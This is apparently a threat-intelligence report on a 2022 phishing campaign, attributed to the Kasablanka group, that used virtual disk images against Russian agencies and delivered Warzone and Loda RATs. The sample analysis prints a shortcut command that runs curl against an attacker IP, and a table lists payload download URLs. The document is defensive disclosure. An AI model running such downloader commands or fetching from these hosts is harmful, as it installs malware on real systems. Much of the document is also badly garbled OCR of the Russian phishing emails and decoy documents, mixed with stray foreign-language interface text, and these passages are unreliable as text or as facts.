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Kasablanka Group Probably Conducted Compaigns
Targeting Russia

Overview

APT groups often use some uncommon file types to host malicious code in order to increase the
probability of immunity against antivirus software, such as CD-ROM image files (.iso) and virtual hard
disk files (.vhd), which we have monitored for abuse in recent years. And the use of these two formats
can effectively circumvent the MOTW mechanism (a security measure in which Windows displays a
warning message when a user tries to open a file downloaded from the Internet). The effectiveness of the
Lazarus group's attack campaign was evident back in November '22 when we disclosed that its attack
components using the vhdx format had a detection rate of 0 on VirusTotal.

When combing through the recently uploaded vhdx files we found that from September to December
2022, Kasablanka group is suspected of attacking Russia, and its targets include the Russian Federal
Government Cooperation Agency, the Ministry of Foreign Communications of the Astrakhan Region of
Russia, etc., and the detection rate of some samples is always 0.

Analyzing and organizing the captured samples, the Kasablanka group used a socially engineered
phishing email as the entry point for the attack, with a virtual disk image file attached, which nested a
variety of next-stage payload executions including Ink files, zip packages, and executables. In the early
stages of the attack the final execution was the commercial Trojan Warzone RAT, in the later stages of
the attack we observed that the executed Trojan changed to Loda RAT.
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Decoy File

A phishing attack against the Agency of the Government of the Russian Federation for CIS Affairs, Aliens
and International Humanitarian Cooperation, or "PoccoTpygHnyecTtso”.
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EereHui AnekcaHaposunu [Mpumakos <97845147 @mail.ru>
CPOUHO: ®akc N29546/2¢

A

BB | | ®akc N295462cvhdx (B MB)

YBamaemue HKomnerm!

HanpareigeM MaTepManH K Mcx. I 35462/2c

MpocHM NOATESPOMTE NONYYSHME M CKAYMEASMOCTE GaMmos.

C VEaxeHMeM,

IpMMakoE EBreHME AMeKCAHIDOBMYE,
PyKOBOOMTEIb

POCCOTDYOHMYESCTED

The translation of the phishing email content is as follows :
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YBamaemble Konneru!

Hanpasnaem matepuanbl K ucx. N2 95462/2¢

MNpocumM NOATBEPANTL NONYYEHUE M CKauMBaeMoCTk hainnos.

C YBaxeHuem,

Mpumakos EBreHWin AnekcaHipoBuy,
PykoBogutens

PoccotpygHuyecTso

Uvazhayemyye Kollegi! Napravlyayem materialy k iskh. N2 95462/2s Prosim podtverdit’

polucheniye i skachivayemost' faylov. - § Uvazheniyem, Primakov Yevgeniy
Aleksandrovich, Rukovoditel' Rossotrudnichestvo

o) 204 / 5,000
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Qin‘ai de tongshimen!

Wdmen jiang céilido fasdong géi cankio. Bianhao 95462/2s
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)
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Phishing email attack against the Ministry of Foreign Communications of the Astrakhan Region of Russia.

B mE SEEE B2 mae.o B9 Dae-
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2022/12/7 (A=) 14:44
mid-inter@astrobl.ru <oper@voda.gov.ru>
Fwd: Mcxopauee coobuienme Ne479

A

i34 __| Tesncul.pdfvhdx

JHobpee yTpo,
B NPUACHEHMH NMCEME © BeTpede ¢ MeHkoHcynom PK Magueesim AE

C yeameHueM,

TNykwn B.C.

OTAEN PETMOHANBHOTD COTPYAHWYECTES,
MUHUE TERCTBO BHEWHMX CEBA3EN
AcTpaxaHckoii obnacTi

414000, r.AcTpaxaHb, yn. 3cnnaHagHan, 45
Ten. +7 (8512) 51-97-02, +7 (8512) 51-65-07,
e-mail: mid-inter@astrobl.ru

wwrw.mid. astrobl.ru
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=z Fwd: Mexoaawee cooBuerne N2479 - BB{E (HTML)
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R ETEESE B

froayidcl]
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EHMMaHMe! EHeNHMHE 0TOPaBHTenNt, B coofbWeHM BOSMOXHEHA CCLHLIKA Ha pecypo

MHTepHeT CAMT4a, ECTM BEH He YVEEPEeHH, TO HE MCHNONL3YMTe € (BO3MOXHO BUPYC) M He

OTKEPHEAMTE ENMOXE HMIN,

Warning! External sender. The email may contain a link to a web resource. Never click on the link, if the email looks suspicious (it may

contain a virus), or open any attachment.

@ EE5= nid-inter@astroblu HEEEE.

The translation of the phishing email is as follows:
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Lo6poe yTpo, X

B NMPUIOXKEHWM NUCbMO 0 BCTpeye ¢ MeHKoHcynom PK MagueBbim
AE.

C yBaxeHuem,

NykuH B.C.

OTAeN peruoHasbHoOro CoTPyAHUYeCTBa,
MWHWCTEPCTBO BHELWHWX CBA3EN
AcTpaxaHckoi o6nactu

414000, r.AcTpaxaHb, yn. dcnnaHagHas, 45
Ten. +7 (8512) 51-97-02, +7 (8512) 51-65-07,
e-mail: mid-inter@astrobl.ru
www.mid.astrobl.ru

Dobroye utro, v prilozhenii pis'mo o vstreche s Genkonsulom RK Madiyevym A.Ye. S
uvazheniyem, Lukin V.S. otdel regional'nogo sotrudnichestva, Ministerstvo vneshnikh
svyazey Astrakhanskoy oblasti 414000, g.Astrakhan', ul. Esplanadnaya, 45 tel. +7 (8512)
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EBIE +7 (8512) 51-97-02, +7 (8512) 51-65-07,
B HB#S: mid-inter@astrobl.ru
www.mid.astrobl.ru

Zaoshang hao,
fu shang yi1 féng guanyu huijian hasake sitan gonghégud zonglingshi Madiev A.E. De
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One of the phishing email attachments uses the situation related to the Republic of Turkey in 2022 as a

bait.

TYPELKAA PECITYBJIUKA

(CHpaBKa no cxeme)

Typeuxas Pecnytmxa (Typuna). Huveer cyxonytnyio rpanniy ¢ Ipysweit,
Apmenneii, Alepbaiimkanom, boarapueii, I'peuneii, Cupueil, Hpakom, Hpanom.
Mope
H KOHTHHEHTANbHOrO Wenkda ¢ Poceniickoil Penepauneii n Ykpannoil,

Ha Yepuom uMeeT  OUIYI0  TPAHHIY  YKOHOMHHCCKOH  30HBI
Teppuropua — 7794 teic. k8. k. Pacnomaracrca va asmarckom (97%)

u esponeiickom  (3%)  kourHHeHTax. B aiMHHHCTPATHBHO-TCPPATOPHAILHOM
OTHOMIEHHH COCTONT 13 81 npoRHminm,

Cronnma — r Aukapa (¢ 1923 r), cesime 5.5 s swureneii. Kpynueiimmii
ropon — Cramyn (Gonee 15 snn wuTenei).

Hacenenne — 84.68 mnn uwenopex. Hammonansusii cocras: Typkn (70%),
kypaer (18%). apaGwl, 9epkeckl, apMAHe, TPEKH, €BPSH, a3kl W IPYTHE
HHPUHHOCTM.

TocynapeTaennii A36IK — TYPEIRHii,

Typums cRETCKOE TOCYaapeTeo. [OCTONCTRYIOMAS Peguris HCTaM,
MPEHMYILECTEEHHO CYHHHTCKOTO HATIPABIEHHA XanHdHTCKoro Tonka, CyllecTayeT
0OLIHHA ATABHTOR (ONPEIEIAIOT CROK HHCISHHOCTE B |5 MIH Henopek).

HenonuutensHas BUacTe ocyinecTenseTcs [IpesnnentoM, HiOHpaeMbiM
ECL‘Oﬁl—LIMM FOJIOCOBAHHEM CPDKCIM HA 5 JICT ¢ BOIMOMKHOCTEIY IleCM')GpaH“H Ha
sropoii cpok. C 9 urons 2018 r. [pesugent — P.T . 3proran.

32"(0“0,‘1"173]7]»“3)1 BIACTE NMPHHAANEKHT OJHOMANATHOMY NMApIaMenTy
Bemikomy nammonanenomy codpammie Typman (600 nemyratos). Tpencenatens
napnamenta — M. [lenTon.

Cynebnaa cuctema B TypuUMH  COCTOMT H3  YTONOBHO-TPAMIAHCKHX,
AIMHHHCTPATHBHLIX H apOHTPAKHBIX CYI08,

Boopywennbie cuapl. Ofwas upcnennoers — okono 480 e, uenosex

(mTopoit no seanunne konTanrent 8 HATO),

2

Drovomuka. Typums — HWHIyCTpHANbHO-arpapHas crpama. B 2021 r
ouenouno: obbem BBIT — 740 smupa nonn. CLIA, poer BBIT - 7,4 %, Gespaboriia
— 11,2%, BBII na nywy nacencHua — 7.7 Thic. IO, BHEIMIHETOProBwIi 0G0poT —

496,7 mapm gonn., aehmueT nuatexnoro famanca — 3,9% k& BBII, nnduamam

19.4%, suemmni gonr — fonee 450 mapa aoan., smemmui gonr — 58.3% ®
BRI Jlenewnas eannnna — typenkas aupa (100 gypymeii),
Buemnaa  noauteka,  Mmeer  aunotHomenna  Donee weM o

100 rocymapeteamu. Sengerca unedom HATO ¢ 1952 r. B 2005 r. nomywina
CTATYC CTPAHHI-KAHAWIATa Ha wieHcTBo B EC, ¢ KOTOPHIM HMEET COrNalleHHe
0 Tamosmennom cowse (¢ 1996 1.).

Typuus yren  Oprapmsamn  YepHoMopekoro  IKOHOMHYECKOTD
COTPYHAYECTBE, YHaCTRYET B OPOrPaMMaX BIAMMOJICHCTEHA HEPHOMOPCKHMX
crpas B ofnacth GesonacHocth (JlOKYMEHT © Mepax YKPEIUIGHHA [IOBEPHA
# Ge30MACHOCTH B BOSHHO-MOPCKOll ofnacti Ha Yepnom mope, «bmxcndops»,
«epHoMOpCKan rapMOHNRy ).

Bxogur B cocras

PAVIMYHEE  MEHIYHAPOHBIX

OMC,

oprasusaiuii
u obbeannennii —  «lpynnel  asajguaris, 02CP, 03C, «Ansanca
muBHAnsamiy woap, B 2013 r. Typuus noayunna eratye naproepa [IOC no
JHATOTY.

BH}"TPE}II{HH nonuTHka, Ha JOCPOYHEIX NMPEIHAEHTCKHY H NAPIaMeHTCKHX
eriGopax 24 wions 2018 r. noGeny ¢ peaymeTatom 52,6% ogepxanu P.T.Dpnoran
H KOAIHIMA B COCTABE BOIrIABNseMoil um [1apTuu crpaseuyiMBOCTH M PA3BHTHA
u TMaprun vanmonanwernyeckoro aemxenns (344 wi 600 mect B memrnmce).

C mona 2015 r. BeieTca BOCHHAR ONEPAIAA NPOTHE OTPAIOE JANPENIENHON
B ctpane Pabosueii naprnn Kypmucrana, C 2019 r, senercs cepus cnenonepaiuii
NPOTHE Kypaos Ha cesepe Mpaka.

15 mona 2016 1. 8 Typuun npousomza HEYIa9HAA TOMBITEA BOSHHOTO
NepepopoTa, Nocne Kompeﬁ nocneaoeana ml{pommacmmﬁnau AMHCTEAR APMHHA,
rocannaparta, CcyIedHEIX Oprasos, 00PasOBATEIBHBIX M HHBIX  YUPEHICHHI

CTPAEL

Attacks using articles related to Russian import substitution and migration policy in 2015 as bait.
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TPOUECCa MOGaTH3AIHN H BRI HA NEPBLIT MNEH B TI0BECTRE

— JIHA MEPOBOT IOMHTHEN, B X0Me IaHHone Hee/reiompns Osun

2015 @\ 3 (90)

H G i OFLEM CTTHCTHMECKOTD
MATEPHATA 1A OLEHKH EMKOCTH H XAPAKTEPa PRikkon Tpya Poccin
nrocynapets — wieHos IIOC, BelarieHs! OCHOBHBIE B JAHHOM
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In addition,

oo
FasA coTpa a (LIOCH 1 Conp

MANATH Wenepa-
LN B THONCKAX B PSR

Tlo mamseee OOH, cornmn susasi T
AT MEAOBEK B MPE AETAETCH MERTYRADOTHEN

o uiapa (United nation 2013, Do
yuaposolt serpaim
T NIHDM 113 CROIR AOKTIBING OTMETILLA, T 4MEKIY-
VOPOIIES MM EMIA O PR AN B o-
BeeTiE A MHPOROI noanTa, MewTyispou
MHFPAIGE ETAND HEOTLeMIEMON HACTREG MpOlRCEE
OB 1 GXBSTHECT TPARTHMCCKI BES ST[a-
Vi, B TO ARDIOMIECKH PAIBITIE TOSYTAPCTI

Hesamucunias. Tocynapers (CHI), koopule GyayT
BCE GUILIIE BORICEITECH B MK YHEPOILE S pa-
o OUECER It AT Bee B ¥
PO HA MERIYHIPOTHCS PGS TPYHL, GCOBCHAD
wa poceniickost. Bonee Toro, B Trow roxy Poccis
npeng mectmyer n I0OC, Kosmer 1 pocan
soiostecsofl eespainen crpa 1IOC u CHT
TAIGKE HE MOT OCTARHTL TTH BOMPOCI GC1 RIBIMAMIS,
noaTomy nepeos socamne 5 2015 oty noceAueRD

METIYIO

Hi). OPHTATMEAIONIR DOTOKH Tpynonoil
MUTPAION, 3T TOSYRAPETEN € 1IBLITaUILIAI TRYI-
BRI PECYPCAsH (IDHOPEL), B IROHOMIKE mmpm
MUOTE TRAINE, DEOBENNE MATEKS, 1E N
HaTH pAGOTY  BRHYSIEHKL CKATH Lz\xzuumk
3 pyGokoM. JIAHHOC PAsaCcHHT CTRaH Ha poim-
IHENTOR 3 JOROPOR A0BOTLHO YENORHO, B HACTO-
ALlCE EPEMA IPAKTHYIECKN MEBOIMOAHNO BHIEINTL
CTPANEL KOTOpESE BHICTYIZION B POTI TOLKD -
OPTEPOES WM TONBKD SOREIOPTCPORS TPYIDELL

pecypeos. TIpese BECD, Takan CHTYMINE CRPARCT-
AN OPHMERTENRIG & DAL [OCEAIPE
MERCTY TEPPITOPIAAIE KOTOPED: Yok [IABHO LUPKY-
AMIYHET MHOTOITHLIE ML TR {AK-
!

Cernmn rocytapetes — yuacrion LIOC w CHE
SNATEL QXTHEHED COHEWOM ONTHMATLEAD MyTell
AT CHOEBPEMENHOTO B IOGTORHOID  BYOWICHHE
I M MR npacTpaneTig, Hymeie
HHE B 0T PLHOK IPEOIAIAET AKTHANOE YHACTHE
FOCYADPCTE B MEHITYAAPOAAELN MUTPUBCHIIED: TP~
LECCAY A YCIDBMAX, HOTOPLIE CYIISCTRENID WIMe-
HIIHCH 53 (OCTSIHIE 160 12 CHTIAIeTH.

OcHORIME  RABATH  AAHAOTD
COCTARIGHE QETDPINI WA OHOBIRAN OGpAGoTRY
Brumnom saccin: X FApyDemILE 0
CHlbCKIR  CTATHCTHMECKHY HCTOAHHNOR W Ipell-
CTARNCHL M3 PHEVHNOX B IHorpuieckon mie
(Intemational 2015, World 2014; United 2013; Poc-
cmibcini. . 2014; [pos soere 2014, Cy
crmecsite. . 2014; The World 2014; Beesupusait
2014y

B nepwosn  moguoronsy
ok ctinmeTsa 1 2004 o
HAPOIHDIE TOPTORIE Sllle OTCYTCTBORANZ, HOOTOMY
1K GOPMYIHPOBTHIE HICTH BHBOION HIIEIYHT-
€ w2003 roaa. B yacreocri, 0 2003 mouy sous
crpan LIOC & Mipasow skenopre cocramua 15,7%
(puc. 1). Tasu ofpason, LIOC ABISCTER Bropesse
[0 BIEMOCTI 001 0 MAPOROM TKCIOPTE O~
e ¢ yancrien Pocemn. Ha nepeost mecte
110 JROROMIMECKIM NOKIITETIM Um Pocoun Hi-
noanren ofvecane BEIKC (Bpawumn, Pocens,

B LIOC oy pot rgaior Kt (12,3%)
W Pocens (2,93 %), CPEIE CTPAH, HCKIIARUI 3Ke-
aatie npcocmibes & LIOC, Sonee 1% mucer
s s Mg (1,87%) B 2005 roay Poc-
caun npesceszrensersyer n LIOC, novosy s
110 PASMITIIN TOPTOBO-SKONOMIECKDD COTPYIN-
wecrna co crpaasn UIOC 1 apyris mapriepa-
it & Assrenn: THNOOKSIHCKM PECIONS ARINOTCE
NPHOPITETHEND!, ORILIAETER, 10 PAIBITIE OTHO-
i co crpamm Boctoka yee B 20135-2020 ro-
X COUBICT NPEARACLUTRN 118 TOED & YRETHUEn
TORIORIE, HO M K HEOGKOTIAOCTI YCTpaHERI Ga-
PLEPOR 110 RIKCHILS HE TOLKD TORIPOR, WO 1 k-
Topon npoB0ACTRE, BKUONH pabowyo cury (Ak-
ryanse. . 2015).

PACCYRACSIN 0 BORMCAHOUTAY PATMITHN K-
OPTI ICICCOOTPEMO HISITE € MILSHKN CMFDETH

the Kasablanka group intercepted the first page from Resolution

official website of the Government of the Russian Federation as a decoy.

HMEIONEI B oM ofhemmenn crye watmo- \JDHEKTHEHOE
i | @ TAKHE TOCYTAPCTIAME, YHACT) o
B MEPEICROPAN, COLTARINGT 435% HACCIeHmA 0 L) HTUEpH3HCHOR
uers (3,2 api wenonex, v 2014 roay - 7,077spa fnpasnerie
wenonex) (puc. 2)

B COBOKYIHOCTH NOCYRIPCTSS, TAK WIH WiEE
EramsonelicTRylomse B paskax LIOC, npeacTanna-
0T GHSTRO PACTYULNE, SHMEHTT PHAOK © TOBBII-
apeac ok, Kposde 1o, SRoNoMHaeckini mo-
TEHLUIEL Y710 FOENEPCTE B0 SHOTIM OIPEieineT
SEIECTREHHLIMI KapAKTEPHCTIRNI CTOYKTYDA -
CEMEHNE — A0NEH IDHOMHEECKN AKTHRHOI HACENE-
Fib {07 15 8T 1 30 BRINGE Ha TEHCI) 1 Q-
Kol ¢ WMCHENIR (e, 3)

1o

Pue, 1. Taun o EHFOC & sposois mopaosre (2013 )

am
2m
1 15 B
Puc. 2. Hucrensoems nacesenien cmpas HIOC
2013
1991
- smoamenn

No. 1725 published on the
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IMPABUTEJILCTBO POCCHHCKOH ®EJEPALIMU

NOCTAHOBIEHHE

o1 20 oxTabpa 2022 r. Ne 1725

MOCEKBA

O yvreepaaennn [pasua npejocrasieHus NPaBa Ha MOJAydeHHe
OTCPOUKH OT NPHILIBA HA BOSHHYH VKDY 110 MODHIHIALNA FPakianam
Poceniickoii Penepannn

[IpapuTenscteo Poccuiickoii @epepaimi nocTAHOBAAE T !

1. YreepauTe npunaraemsie Ilpasnna npenocTarnenHs npaga  Ha
MOAYMEHHE OTCPOYKH OT MPH3IBIBA HA BOCHHYW Cayx0y no MobuInzaiuu
rpassianam Pocewiickoi Menepanmin.

2. HacToamiee nocTaHOBISHHE BCTYMAET B CHOY €O [HA  €ro
CPHIHAAEHOrD ONYDIHKOBAHHA H PAcHpOCTPAHAETCH HAa NPAaBOOTHOUIEHHS,

BO3HHKIIHE ¢ 21 cenTadps 2022 r.
[punoaenne: na 14 .

[pencenarens Hpasurensersa
Pocewiickoi denepanun M.Muwmyerun Y TBEPATEHBI
NOCTAHOBIICHHEM IIPH.H-I['J.'L'-.'IH."J.'H-H.
Poccwiickoii denepaunn ot 20
okTAOpA 2022 . No 1725

And the relevant content of the draft Digital Code of Kyrgyzstan was used as a bait.



CTIPABKA-OBOCHOBAHIE . Tpossre mopaer. Taxof KOTIQRIFPUSEBIH TOMXOX TOSEOTAST O0SCTEwTTS cTRomersa = magposoit cpeae. Javomn Karprarscrod Pecrybmens » medposcit

& npoexty Llnponoro woaewca Keiprancroii Pecmyts B TMOCTETVIOMEM COSTOIEREE HENPOTHEODETHEOCTE TP TOCTENYRUDR cfepe TPEMENTCR Ge3 YWeTa IPYT IPVTA, TT0 MOPORIAST MEORECTEO
. FS\ERHIK, IO OUEND B4 B YEIORAR SHICOKKR TeMTIOS PASEHTHT e ——

1. Tleas & 3a3aum. . e TperHA [EPORLR TEXROTTT. | 2 CIpysTyps Oprancs SEKTPORAONG YIPESTERKA FETRETCE GAKTRIECKA
Tipoexr Lgposoro romexca Kuprescrofi Pecry6maa (saee — rpoest . Repaforamed. B nel Tase Ae NPSICTAETERH APYTHS, KPAME TOCYIAPCTER,
Komexcs)  BTRTCR  PeSYTOION  MaCWESROTO  amanEsa  orpaciell 2, OmHcaTesRas YacTs. . CYSBEKTH THYPOBOTO JTDARTERIER, OTCYTCTBYeT PAMDARWIErTS HOTROMOTH
saxorozatemeTaa Kapromcrolt PecoyGimis 1 HOyMeRHR AVIIEK MFPOSHR Awans ropvamueno npasosoii 6w, dsicmeyowsi Ha MoveRmt 10 saimere maposol Hag Taxxe mpexy = Zetcryomen
mpakTE toidporol cpeTh. [Ipmmrnie mpoexra Kofexca, oSheTMOMerc PEPIBONFL  MPOGKIG  NPWAMUSHGZ NPASOSOZ0 @M, CSEIHUR O JAXOROTATETECTES  IPMMIEMN  STEKTPONHOO  VIAE e —
e omumOpsze u oyEHRe aRORCOGMETLOME], delcmEyINEsD & danoil cgape TEpeEIDDME, TPEKANIDSM TOTGY TPETSEEK TANCE  pefope
TBCTER, TMOSEOTHT o Th STATONPHATHYI HOPMETHEEYE OBIECTIEEHNETL CHNGUIENLTL TOCYJAPCTEEHECTD VIPEBTeHHA, MOSTOMY OEM IOTAHS! OblT OGHOBTEHEL B

T2BA5YE0 CPEY, KOTOPAT ST OCHOBS. W1 PASHTIE IEHPOBGH SKOHOLITSH + B mcomme mpes Kepraucsas PecrySme: TeneRampastemno COOTBETCTENH ¢ PSS RHEME SBIIIe MHATIETIZNE K DETY AT OpANH PR,
5 Kniprarscro Pecry6mise, PesybraTs! yoRemmoR peasames srof samam pesomr pasery 1o crpam, samaE, e B HeTon 3 3mKOHOTATETECTED A COSTAST FCIOBMH JITF THYPOSOTO JPASIEREE, TO
TOTOAHTETAD CRAATTCR Fa TEMITAR SKOROAETECKOTO POCTa, YTy HIaT OXasarme AT CTPATETTECKIX JOKYMEATOR, SETIORaA FORTNIK, NOrPaiais: H MIaRsD VNASTERH, QCROBARFOTO Fa TamFRIK. JARFNE WS FOCYIAPCTESRRER
TCTYT TOCYNAPCTEON M VACTRERM CRKTOPON, MPEESTT ¥ COSTAMMR Gomee Zeficait mIQponoll TPANCHOPMINE H IMPOROT DIGHTEN NPEBSTE ERQOPMATHORRS CACTEM He CTOTRSYIOICA I3 TPHRATRA pemeral A
BTETORpRTRONO KRESCTHITIORROMO KI0IATa. . BTOCTEICTE X TOMY, TT0 G5l TIPKART PAT SAFORCS ¥ APYTAX ROPMATHERER SATHTHIOH KAK B TOCYIAPCTSSMIOM, T 3 5 HACTHOM CERTODE, GOPMATS! Mamesrs

Vrasens [pesuerrza K i PecrrySmam “0 HEOTIAIL 1epas 10 DpIEOEET ak1o. OINEKO HECOTTACOBZENOCT: H HEOTHOPOZEOCTE IO o 5o JAFRBN B PASARK OPTAREK DASEIS 7 SECOBMECTALBIE
STEmANE  Sempem mntp"shlx B rocymapereesEios oD DI SELGHOD, CTAT: CYUSCTOCLD! IPAICIBAE S MERTY Cofofi, TID NPEMATCTEYET TOCTPOSHHIO BYNNMOCERIIRAON CHOTENEI
ympanneme  Kaprenexol i or 18 nexafpr 2020 roz nocTpoesa GaaronpiTHO KO EoBOi: cpentt IPHIEATER pemen. |

TpemyciTpeR: paspadoTia % SReceHHe HA pAccMOTpeRNe JKoropy Kemema PESERTOR, KOHEYPEHTCCTOCOGHOR MHYPOB0H FOHOMIEE. . + 4 B samoromaremscrse Kemprimcroft Pecrydmam oTcyTerEyer mpasosolt
Kepremcroff PecrySmoa: mpoesta Liagposaro  mozekca P.hl}m*:ren Amams mokasat, 7o = Keprenscrodi PecySmims Teficrsyior Somee oTa PEAISI PACTDSISTSRREN KEQOPMAIONNAD CHCTEM, 3 Takae OTCYICTEYRT
PecIyGiHiE B Ka¥eCTBE eIEHOTD I . PESHOYPUBHEESX ECPMATHEHBIX NPAECESX EKIOE DPIMC HMH KOCEEHHO VCTOEMA 1 HEOBKOTHMOTO E VCTOBMAR IHAGDOROH IKOHOMIKE na'pa'xa,m or
eTMH{I0 CHOTeMy TOCYTAPCTRNHOTO \TPARTERHF B upepe mlq:p"BbB( womm m cheper camm B ey STRKTPORHORD ZOKYMERTOOGOPOTA K YTDASTRISO, OCHOBARRQMy H2 SATTHCAX £
TeXHOUOTHE K O0SCHEwHT: NDIDEHSHN eIGIX NISKR PeryImpOSEEs m;p.sm Vopasemz, WEQPoBCE HICHTAQENEIGE, OTKDHTE NGHERD, FEGOPSATIONRIR CHCTeNAX, B TOM TS pATpeTeTeR . OTCYICTRNE HOPSC
OOU[ECTESHHEIX OTHONIPHME, CEASAHHBIN ¢ MCMOUbSOBAHEEM IH(POSEX L (EHHEIX, 1 1o Omaxo sammme THE e
TexEOTOTHE. JEEOHOTATETEHLE 2TH HMEKT GQSII0E KOTIISCTED Cepbesiblt HENOCTaTROS, OSEOTIET NEpEXOmiTS & m@mue B3aRIoneliCTERe OHOUEHED, a5 Kk

Ocriozroii mems0 mpoesta Kozexca A5Taercs cosTarme SRATOMpRATHED B TeROM HETATHERO ETWTOTIX Ha Tpomect MEQPOSCH TPaHCGOPMEET i rocyzapcTEesELIE ‘\pr:um'rpeo ot .
NpeBoBLD: youoml AU3 SN i PRATIA ODEE i C50001 e0EeKE H peea mipossik MEHIHeTHE, K TaKiD! HEIOCTATEEM MOAHO OTHECTE . . Omcyrcmyer  crenmaprmams b Dq:epe esTpoREOro
TpaATIKEA 5 THQPOSOM MPOCTPAECTSe, PATSETHA TEADOSOR SKOROMEIH HOCOITZCOBAHOCTS  CHCTOMB  HODMBTWBKGN  ODEBOSBI  GKTOB, HX ICKyMEHTCS0POTa T 039pOTE ma¢p~sm samiced. He yperymiposasst
I\.brp'hu:mu PecnySmm®, a  Tacse  DOPMIIENHe  HEBCTHIHOMEGCH PAIOMGIGIOCTs,  Hameme GOMBINTO KOMGNGCTEA HPASOBX  EOMLTINE, pompoc 37 rOCyTapCTRARDGT
TPEETEXATETSROCTH CTpaEL. B HATEDSCaR MOCTHARRKA TARHOR TETH SATATAN OTCTEICCTS HOPM LEYPOROre IPaEa 0T CORPEMEHHEL NOTPeGHOCTel [pailes i CPTeTGINTE i QEEGECODE TENEV e oTpacTE oTpesaE oT
mpoekta Lipdponoro KOIeca BWRCTCR COSTANEG CHCTOMEL QOPMATHO opramcs, oTcyTeTEHE mpaBeEEX yomo: STENTPOMNOTD JOKYMENTQ05POTa ITE MECTO INAEPOBCO ZIUMMOTERCTRRR.
OUpelCTCRILE K ONATCHPEATMN DESOSE EOPM. COSCHCHHEAOIE Sblcrp\,K}( Semmpruu ANpOGAINE:  BEIPEELA HEHOBAIMOKHERK LHPOBE S Brenpesie THQPOB0E HAlECHATHON BATOTS TEcke 10 HACTOAIETD
‘IpencHEyeMEe MpABITA IIOBE1ENER B I posol Cpele, oCHUBaHD: B2 Sanamce x Bhle GATHEN, HOSYCCTRCHG HTENTENT, POGOTOTENANES CHENTS He DerTEMENTEDOBANO, TPH TON, IO SMECCIE H oSpaeHe Tako
HETEpeCOB BCEK SAUNTEDECOSIHHE VHACTENOB. . iioKuCi, Qe I, MpoREie LZTGOpE! K SHOCHCTRE & TL) & BTOTEL HOOAEACT PeTyIINTOPA OT PACKONCE Ha HeHATh PEATEOR BUTOTEL &

B mamHOM KOTeRCTe BaHOR OCHOEOH A SQEKTHEHOTD BHeNpeE 1 Tporjece FOOYABPOTSSRKOFO YIPARIEREI, TPeOCTRTERIA FOCY 8PCTARHRED: 1 PACTPOCTPEREHECCT DYeT CHOCODCTECBATh DASEHTHIC PBiia HGPOBEX
SeCTDETIATCTSERHOT0 MCTOTSSOBAHK TeNHOTOTHI! FBTHETCA AKTYATHHAR Y HETMEELD YCAYT, & § Leob PasEHTER LEQPOSoil SKOHOMMIH CTPEEL izt
s ® pes AT SaROROTATETEEAT HeCOOTBETOTSHE HAITSOHATEROMD AROROTATEMSCTES MHPOSHN CTAHIADTAM B + 7 B sanceotatemcree OTGYTOTEYeT CHCTEMS OCHOSHEIX CYS%eRTos
G2sa. OmeospeMesmo C  3TIDA  NOCpencTEOM  paspafioTKE  eMHOTQ 0671aCTH EHEIEHEX H KCNOTEIOBAHEA MHGPOEEX TexHOToHE  [IpyTue IEPOBOro YIPABTEHH, YT0 He TI0SEOTAET BEICTPONTE CHECTEMY OTEOIMeHHH &
FODAETPOBEHOro 2KTA HCKTIOVAIOTCA CYTIIECTEYIONTE NPASOBHe KOTTIE IpoSTeMEMe BOMOCE. KOTOPE G BSMETeNN B XOTE  AMATHIR madposoif cpenle TRy kax cucreny. [IpE 3ToM perymposaEe craTyca
B OpoBETEL COSNAETCA SNFMAY CHCTEMA LHQPOEOTQ YIDAETIEHHE CTPAHEL saomonaremscrea  Keppraiscroff  PecmyGmom (5 paspese  cextopos EARI0T0 S ITHK CyGBEKTOR TOTARO OCYINECTEIATECA B PEMEAX PEryIHpOSIHIT
OpMHDYRTCE COBDEMERHAA, ACHAR B ReMPOTHEOPeTHBaA TPABOEAR 5234, 5 TOM pery ‘m‘pmgamm] Mpuenen HRe. COOTRETCTBYIOIETC BiElia TeATeTSHOCTH B IHBPOBOH FORMEE. |
THCTe UK GeCIPETATCTSERHOTO BHEAPSHKA § TIOCTSYIONIEN HAROBAIHORRED Saxomomrenscrse Knprscroii Pecrybmma  otcyroreyer
magposem permemit Kpone 37070, 5 MPABOMDHMERATETEROR TpasTHKe TR OMHCAMTE CTPYETVPE 32K0BOT: I p——
P OksHeca M TOCYIZDCTSEHMBX Opramcs yofEo # sddextismo COTEpAIIEX HOPMEI [0 PeT) HPOEAKHM0 IHposci
HCMOTESOBATH ETHHMIE HOPMATHEHETG NPABEOfl 2KT, OSRETMEMONNI Ece TIPAEHT PASDEITENHE KOTITHSMH MEATY PAVTHHHINE ZXTAME, PETVEPYIONIE

Sample Analysis

The captured samples are all virtual disk image files (.vhdx suffix), and the sample decoy names and
contents are in Russian and uploaded from Russian regions. Some of the samples use Ink files as
downloaders for the next stage payload.
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Some attack samples package the decoy and Warzone RAT into a zip file in a virtual disk image file.
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=1 B =R Fulh

System Volume Information 2022/9/27 8:37 =
Bl 2022/9/27 8:38 it
B8 Nocranosnetme of oTCpOYKe.rar 2022/10/26 12:39 WinRAR FEEEEE 526 KB

m MNocranoenerue of otcpouxe.rar (FRfGHEE)
BZﬁ(F] w0 TE(S) WE=D0) ﬁlﬁ(l\l] ‘EBII(HJ

e 8 =

=il ﬁf:_l'_ﬂ ﬁﬁi Sl (==} HiEREsE IR Fr  EREER
T |m Mocranoenenune of otcpoukerar - RAR EEESCiE, fBE70 D 2,903,610 =5
e )
2w N T RS R X CRC3
[ new.exe 2,767,360 413,631 [AIER 2022/10/26 1... 1FG65¢
@I‘II‘I N21725.pdf 113,444 104,323 Mlicrosoft Edge .. 2022/10/22 1. 58B1i
D Cnucok coTpyaHMKOE - 2 yacTe.docx 22815 20,174 Office Open XM... 2022/10/22 1. CE50¢

Or there is no decoy file and the Ink file is directly disguised as a folder to lure victims to click on it.

== EMHER Eie] Fh
System Volume Information 2022/9/27 8:37 =
[Eires 2022/9/27 8:38 Il
a1 In-L-CPCR-7542-2022.pdf 2022/9/27 8:26 AT 3 KB
¢ In-L-CPCR-7342-2022.pdf BE Pt
i FEHSE LABTRIhE S
=58 BEEAEL I K o= me
] In-L-CPCR-7542-2022.pdf

Ska=sich RIFRTER

BiziE: system32
BR(T): "emd.exe ¢ curl http://193.149.129.151 /vmsys
HEirE(s):

We have sorted out links to download the relevant payloads, as shown in the table below :

Links Remarks
http://179.60.150.118/new.exe Warzone RAT
http://89.22.233.149/ms7 .hta Unknown
http://193.149.129.151/vmsys Unknown
http://45.61.137.32/www.exe Warzone RAT
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Links Remarks
http://45.61.137.32/svvhost.rar Loda RAT
http://45.61.137.32/Scanned_document.exe Loda RAT

Warzone RAT

